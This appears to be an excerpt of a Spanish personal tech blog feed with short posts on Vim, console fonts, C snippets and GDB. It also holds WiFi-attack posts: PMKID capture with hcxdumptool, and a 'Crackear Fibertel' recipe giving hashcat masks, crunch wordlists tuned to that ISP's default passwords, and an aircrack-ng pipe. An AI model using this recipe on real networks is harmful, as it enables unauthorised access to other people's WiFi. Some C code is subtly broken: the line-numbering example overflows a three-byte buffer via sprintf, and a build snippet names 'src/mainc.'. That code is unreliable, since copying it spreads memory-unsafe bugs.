</span></span></code></pre></div><p><a href="https://www.youtube.com/watch?v=krMaMcIX0Kc&pp=ygUQI2thbGlsaW51eGJyYXppbA%3D%3D">https://www.youtube.com/watch?v=krMaMcIX0Kc&pp=ygUQI2thbGlsaW51eGJyYXppbA%3D%3D</a></p>
-
Insertar texto seleccionado a archivo vim
https://imlauera.github.io/insertar_texto_seleccionado_a_archivo_vim/
Sun, 16 Feb 2025 17:06:43 -0300
https://imlauera.github.io/insertar_texto_seleccionado_a_archivo_vim/
<p>You can do it in three steps:</p>
<ul>
<li>type <code>Shift-vj...j</code> to select some lines</li>
<li>type <code>:'<,'>w! >>file.bak</code> to save selected lines to file.bak(append)</li>
<li>type gvd to delete original lines</li>
</ul>
<p>You can write a user-defined command Sbak if you like:</p>
<p>com! -nargs=1 -range Sbak call MoveSelectedLinesToFile(<!-- raw HTML omitted -->)
fun! MoveSelectedLinesToFile(filename)
exec “’<,’>w! »” . a:filename
norm gvd
endfunc</p>
-
Setfont loadkeys
https://imlauera.github.io/setfont_loadkeys/
Sun, 16 Feb 2025 16:58:27 -0300
https://imlauera.github.io/setfont_loadkeys/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~> setfont
</span></span><span style="display:flex;"><span>Couldn<span style="color:#960050;background-color:#1e0010">'</span>t get a file descriptor referring to the console.
</span></span></code></pre></div><p>Solución: tan simple como <code>sudo setfont</code> o <code>sudo loadkeys es</code></p>
<p>sudo setfont iso02-12x22.psfu.gz</p>
<p>Las letras más lindas son las sudo setfont ter-<!-- raw HTML omitted --></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo setfont ter-i28b.psf.gz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo setfont ter-v28b.psf.gz
</span></span></code></pre></div>
-
Capturar handshakes y ataques PMKID con Hcxdumptool
https://imlauera.github.io/hcxdumptool/
Sun, 16 Feb 2025 13:16:01 -0300
https://imlauera.github.io/hcxdumptool/
<p>Al hacer un ataque PMKID no es necesario desautenticar al cliente para capturar el handshake. Este ataque se puede realizar sin clientes.</p>
<p>Este ataque también se puede hacer con Airgeddon.</p>
<p>Es obligatorio detener todos los servicios que acceden a tu interfaz en mi caso:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl stop NetworkManager
</span></span><span style="display:flex;"><span>sudo systemctl stop wpa_supplicant
</span></span></code></pre></div><p>Es importante tener la última versión de <code>hcxdumptool</code>:</p>
<p>Desde la versión 6.3.0 las opciones hay cambiados por problemas de rendimiento. Esto fue mencionado en el changelog.</p>
-
Cargar texto de un archivo en un buffer en C
https://imlauera.github.io/leer_texto_archivo/
Sat, 15 Feb 2025 22:04:37 -0300
https://imlauera.github.io/leer_texto_archivo/
<p>La mayoría de las veces cuando lees que usan la función feof está mal. En mi experiencia se vió que es muy fácil de llamarla al tiempo incorrecto y procesar algo dos veces creyendo que EOF no fue alcanzado.</p>
<p>int c;
while (( c = getchar()) != EOF){
}</p>
<p>int c;
while (( c = getc(fp)) != EOF){
}</p>
<p>Intentá evitar usar char para el tipo c. getchar retorna el siguiente caracter casteado a un unsigned char y luego a un int. Esto significa que en la mayoría de las plataformas ‘sanas’ el valor de EOF y valores válidos char en ‘c’ no sobreescriben así que nunca accidentalmente detectarás EOF como un caracter ’normal’.</p>
-
Experimento malvavisco
https://imlauera.github.io/experimento_malvavisco/
Sat, 15 Feb 2025 22:02:28 -0300
https://imlauera.github.io/experimento_malvavisco/
<p>Lo que opina George Hotz al respecto: <a href="https://geohot.github.io/blog/jekyll/update/2024/11/13/collective-marshmallow-test.html">https://geohot.github.io/blog/jekyll/update/2024/11/13/collective-marshmallow-test.html</a></p>
<p>Marshmallow Test and Parenting</p>
<p>Today, when my 1.9-year-old daughter tried to grab and eat an unwashed orange, I
asked her to give it to me so I could wash and peel it if she could wait for a
moment. She did. It got me thinking about the marshmallow experiment, where the idea
was that patience equals success. But … it wasn’t the whole story.</p>
-
Agregar enumeración líneas en C
https://imlauera.github.io/enumerar_lineas_c/
Sat, 15 Feb 2025 22:01:09 -0300
https://imlauera.github.io/enumerar_lineas_c/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#include <stdio.h></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include <stdlib.h></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include <string.h></span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// Agregá enumeración de cada línea de un archivo.
</span></span><span style="display:flex;"><span>// Vim agrega un salto de línea siempre al final,
</span></span><span style="display:flex;"><span>// por lo tanto usaremos echo:
</span></span><span style="display:flex;"><span>// echo -n -e <span style="color:#e6db74">"Hola\nEsto es\nuna prueba"</span>
</span></span><span style="display:flex;"><span>int main<span style="color:#f92672">(</span>void<span style="color:#f92672">){</span>
</span></span><span style="display:flex;"><span> FILE *fp <span style="color:#f92672">=</span> fopen<span style="color:#f92672">(</span><span style="color:#e6db74">"/tmp/asdf"</span>, <span style="color:#e6db74">"rw+"</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span> FILE *fq <span style="color:#f92672">=</span> fopen<span style="color:#f92672">(</span><span style="color:#e6db74">"/tmp/resultado"</span>, <span style="color:#e6db74">"w+"</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span> int lineas <span style="color:#f92672">=</span> 1;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> int c;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> char buffer<span style="color:#f92672">[</span>3<span style="color:#f92672">]</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">"1: "</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> <span style="color:#f92672">(</span>int i <span style="color:#f92672">=</span> 0; i < strlen<span style="color:#f92672">(</span>buffer<span style="color:#f92672">)</span>; i++<span style="color:#f92672">){</span>
</span></span><span style="display:flex;"><span> putc<span style="color:#f92672">(</span>buffer<span style="color:#f92672">[</span>i<span style="color:#f92672">]</span>, fq<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> <span style="color:#f92672">((</span> c <span style="color:#f92672">=</span> getc<span style="color:#f92672">(</span>fp<span style="color:#f92672">)</span> <span style="color:#f92672">)</span> !<span style="color:#f92672">=</span> EOF<span style="color:#f92672">){</span>
</span></span><span style="display:flex;"><span> putc<span style="color:#f92672">(</span>c, fq<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">(</span> c <span style="color:#f92672">==</span> <span style="color:#e6db74">'\n'</span><span style="color:#f92672">){</span>
</span></span><span style="display:flex;"><span> lineas++;
</span></span><span style="display:flex;"><span> sprintf<span style="color:#f92672">(</span>buffer, <span style="color:#e6db74">"%d :"</span>, lineas<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> <span style="color:#f92672">(</span>int i <span style="color:#f92672">=</span> 0; i < strlen<span style="color:#f92672">(</span>buffer<span style="color:#f92672">)</span>; i++<span style="color:#f92672">){</span>
</span></span><span style="display:flex;"><span> putc<span style="color:#f92672">(</span>buffer<span style="color:#f92672">[</span>i<span style="color:#f92672">]</span>, fq<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span> printf<span style="color:#f92672">(</span><span style="color:#e6db74">"\n"</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> printf<span style="color:#f92672">(</span><span style="color:#e6db74">"Cantidad de lineas: %d\n"</span>,lineas<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> 0;
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div>
-
Recuperar receptor azamerica sin control
https://imlauera.github.io/recuperar_receptor_azamerica/
Sat, 15 Feb 2025 16:56:46 -0300
https://imlauera.github.io/recuperar_receptor_azamerica/
<p>Tenía un receptor HD AzAmerica S 1004 sin control remoto.</p>
<p>Tenés que instalar la aplicación disponible para Android y para iPhone “G-Mscreen” que funcionará como control remoto.</p>
<p>Pero ojo! tenés que estar conectado a la misma red WiFi, si no tenés internet podés comprar un modem/router y conectar un cable Ethernet del receptor al modem, no necesitás tener internet.</p>
<p>Automáticamente si tu Android está conectado a la misma red reconocerá el dispositivo y podrás manejarlo remotamente desde la app G-Mscreen.</p>
-
C: Nobuild
https://imlauera.github.io/nobuild/
Fri, 14 Feb 2025 23:04:52 -0300
https://imlauera.github.io/nobuild/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#define NOBUILD_IMPLEMENTATION
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">"./nobuild.h"</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define CFLAGS "-Wall", "-Wextra", "-std=c11", "-pedantic", "-ggdb"
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">GO_REBUILD_URSELF</span>(argc, argv);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CMD</span>(<span style="color:#e6db74">"cc"</span>, CFLAGS, <span style="color:#e6db74">"-o"</span>, <span style="color:#e6db74">"minicel"</span>, <span style="color:#e6db74">"src/mainc."</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (argc <span style="color:#f92672">></span> <span style="color:#ae81ff">1</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">strcmp</span>(argv[<span style="color:#ae81ff">1</span>], <span style="color:#e6db74">"run"</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CMD</span>(<span style="color:#e6db74">"./minicel"</span>, <span style="color:#e6db74">"input.csv"</span>);
</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">strcmp</span>(argv[<span style="color:#ae81ff">1</span>], <span style="color:#e6db74">"gdb"</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CMD</span>(<span style="color:#e6db74">"gdb"</span>, <span style="color:#e6db74">"./minicel"</span>);
</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">PANIC</span>(<span style="color:#e6db74">"%s is unknown subcommand"</span>, argv[<span style="color:#ae81ff">1</span>]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Es como usar C como shell script.</p>
-
Crackear Fibertel WiFixxx
https://imlauera.github.io/crackear_fibertel/
Mon, 10 Feb 2025 01:55:15 -0300
https://imlauera.github.io/crackear_fibertel/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>004?d?d?d?d?d?d?d
</span></span><span style="display:flex;"><span>014?d?d?d?d?d?d?d
</span></span></code></pre></div><p>Lo guardas como <code>004y014mas7.hcmask</code>. Despues solo resta correr <code>hashcat</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hashcat -O --markov-threshold<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> -m <span style="color:#ae81ff">22000</span> -a <span style="color:#ae81ff">3</span> mi_hash.HC22000 004y014mas7.hcmask -w <span style="color:#ae81ff">4</span>
</span></span></code></pre></div><h4 id="o-con-crunch">O con crunch:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>crunch 9 9 -o 1 -t 004%%%%%% && crunch 9 9 -o 2 -t 014%%%%%% && crunch 9 9 -o 3 -t
</span></span><span style="display:flex;"><span>004%%%%%% && crunch 10 10 -o 4 -t %14%%%%%%% && crunch 10 10 -o 5 -t 004%%%%%%% && crunch 10 10 -o 6 -t 005%%%%%%% && crunch 10 10 -o 7 -t 010%%%%%%% && crunch 10 10 -o 8 -t 420%%%%%%% && crunch 10 10 -o 9 -t 131%%%%%%% && crunch 10 10 -o 10 -t 140%%%%%%% && crunch 10 10 -o 11 -t 234%%%%%%% && crunch 10 10 -o 12 -t 265%%%%%%% && crunch 10 10 -o 13 -t 298%%%%%%% && crunch 10 10 -o 14 -t 316%%%%%%% && crunch 11 11 -o 15 -t 014%%%%%%%% && crunch 11 11 -o 16 -t 004%%%%%%%% && crunch 11 11 -o 17 -t %%%%%%%%000 && crunch 13 13 -o 18 -t 004%%%%%%%%00 && crunch 13 13 -o 19 -t 26%%%%%%%%000 && crunch 13 13 -o 20 -t 260%%%%%%%abc && crunch 13 13 -o 21 -t 261%%%%%%%abc && crunch 13 13 -o 22 -t 262%%%%%%%abc && crunch 13 13 -o 23 -t 269%%%%%%%abc && crunch 13 13 -o 24 -t 420%%%%%%%000 && crunch 13 13 -o 25 -t 420%%%%%%%abc && crunch 13 13 -o 26 -t fibertel%%%%% && crunch 14 14 -o 27 -t 420%%%%%%%wifi
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>crunch <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">0123456789</span> -t 004@@@@@@@ -s <span style="color:#ae81ff">0041000000</span> -e <span style="color:#ae81ff">0041050000</span> <span style="color:#f92672">&&</span> crunch <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">0123456789</span> -t 014@@@@@@@ -s <span style="color:#ae81ff">0141000000</span> -e <span style="color:#ae81ff">0141050000</span>
</span></span></code></pre></div><ul>
<li>-s = Comienzo en… X. (Specifies a starting string, eg: 0041000000)</li>
<li>-e = Termino en… X. (Specifies when crunch should stop early)</li>
</ul>
<h4 id="ejecutar-crunch-sin-guardarlo-en-el-hdd">Ejecutar crunch sin guardarlo en el HDD</h4>
<p>crunch 9 9 0123456789 -t %%%%%%%%% | aircrack-ng /root/Desktop/fiber-02.cap -e Fibertel -w -</p>
-
Ordenar array de enteros por la sumatoria más grande.
https://imlauera.github.io/ordenar_array_de_enteros/
Sun, 09 Feb 2025 20:11:09 -0300
https://imlauera.github.io/ordenar_array_de_enteros/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">cmpint</span>(<span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>p1, <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>p2){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> suma_p1 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> suma_p2 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#75715e">//printf("elementos p1: %d\n",*(const int **)p1/sizeof(**(const int **)p1));
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> <span style="color:#ae81ff">3</span>; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> suma_p1 <span style="color:#f92672">+=</span> p1[i];
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> <span style="color:#ae81ff">3</span>; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> suma_p2 <span style="color:#f92672">+=</span> p2[i];
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Suma p1: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, suma_p1);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Suma p2: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, suma_p2);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (suma_p1 <span style="color:#f92672"><</span> suma_p2) <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">cmpstringp</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>p1, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>p2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// strcmp(*(const char **) p1, *(const char **) p2);
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// **(const int **)p1 = 1
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// **(const int **)p2 = 20
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">cmpint</span>( <span style="color:#f92672">*</span>(<span style="color:#66d9ef">int</span><span style="color:#f92672">**</span>)p1, <span style="color:#f92672">*</span>(<span style="color:#66d9ef">int</span><span style="color:#f92672">**</span>)p2);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>argv[])
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>num1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>num2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">**</span>numeros <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span><span style="color:#f92672">*</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> num1[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">999</span>;
</span></span><span style="display:flex;"><span> num1[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">9</span>;
</span></span><span style="display:flex;"><span> num1[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> num2[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span> num2[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> num2[<span style="color:#ae81ff">2</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">123</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> numeros[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> num1;
</span></span><span style="display:flex;"><span> numeros[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> num2;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// char **argv
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// qsort(&argv[1], argc - 1, sizeof(char*), cmpstringp);
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">qsort</span>(
</span></span><span style="display:flex;"><span> <span style="color:#f92672">&</span>numeros[<span style="color:#ae81ff">0</span>],
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">2</span>,
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span><span style="color:#f92672">*</span>),
</span></span><span style="display:flex;"><span> cmpstringp
</span></span><span style="display:flex;"><span> );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Imprimimos el array con la suma más grande</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> <span style="color:#ae81ff">3</span>; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d "</span>, numeros[<span style="color:#ae81ff">0</span>][i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(EXIT_SUCCESS);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Transforma cualquier teclado a bluetooth
https://imlauera.github.io/transforma_cualquier_teclado_a_bluetooth/
Sat, 08 Feb 2025 23:15:28 -0300
https://imlauera.github.io/transforma_cualquier_teclado_a_bluetooth/
<p>Agregale una batería y un Bluetooth USB.</p>
<p><a href="https://old.reddit.com/r/MechanicalKeyboards/comments/yotcsu/is_there_any_way_i_can_make_a_wired_keyboard/?rdt=61933">https://old.reddit.com/r/MechanicalKeyboards/comments/yotcsu/is_there_any_way_i_can_make_a_wired_keyboard/?rdt=61933</a></p>
-
Free pointer of pointers
https://imlauera.github.io/free_array_of_arrays/
Sat, 08 Feb 2025 18:44:48 -0300
https://imlauera.github.io/free_array_of_arrays/
<p>Sólo tenés que pensar en liberar memoria cuando tenés un programa muy grande que pide un poco de memoria en un loop y eso acumula memoria con el tiempo, pero si tenés un programa batch (por lotes) que pide memoria (allocated memory), no hay necesidad de liberar esa memoria porque el sistema operativo lo hará por vos cuando el programa finalice. (Leer al final más info).</p>
<p>No podes “liberar” un puntero de punteros. <strong>Tenés que liberar todo lo que fue creado con malloc.</strong></p>
-
Debuggear c con GDB
https://imlauera.github.io/debugear_c/
Sat, 08 Feb 2025 02:22:43 -0300
https://imlauera.github.io/debugear_c/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gcc -ggdb find_length_string.c -o find_length_string
</span></span><span style="display:flex;"><span>gdb -q ./find_length_string
</span></span><span style="display:flex;"><span>break main
</span></span><span style="display:flex;"><span>run
</span></span><span style="display:flex;"><span>tui enable
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span>p variable
</span></span><span style="display:flex;"><span>p puntero
</span></span><span style="display:flex;"><span>p *puntero
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>O podes usar enter para repetir comando anterior.
</span></span></code></pre></div><p>Me gusta el debugger porque te obliga a analizar cada pequeño detalle porque si solo leyeras el código los ignorarías. El debugger te motiva a mirar los pequeños detalles porque podés mirar los específicos valores de una variable, eso es lo que hace más fácil de encontrar errores lógicos.</p>
-
Cargar texto de archivo a un array de arrays
https://imlauera.github.io/cargar_archivo_texto_a_buffer/
Fri, 07 Feb 2025 21:08:05 -0300
https://imlauera.github.io/cargar_archivo_texto_a_buffer/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><errno.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>f <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"/tmp/asdf"</span>,<span style="color:#e6db74">"r+"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (f <span style="color:#f92672">==</span> NULL){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">"Error al abrir el archivo: %d.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, errno);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,<span style="color:#a6e22e">strerror</span>(errno));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>palabra <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">char</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">20</span>);
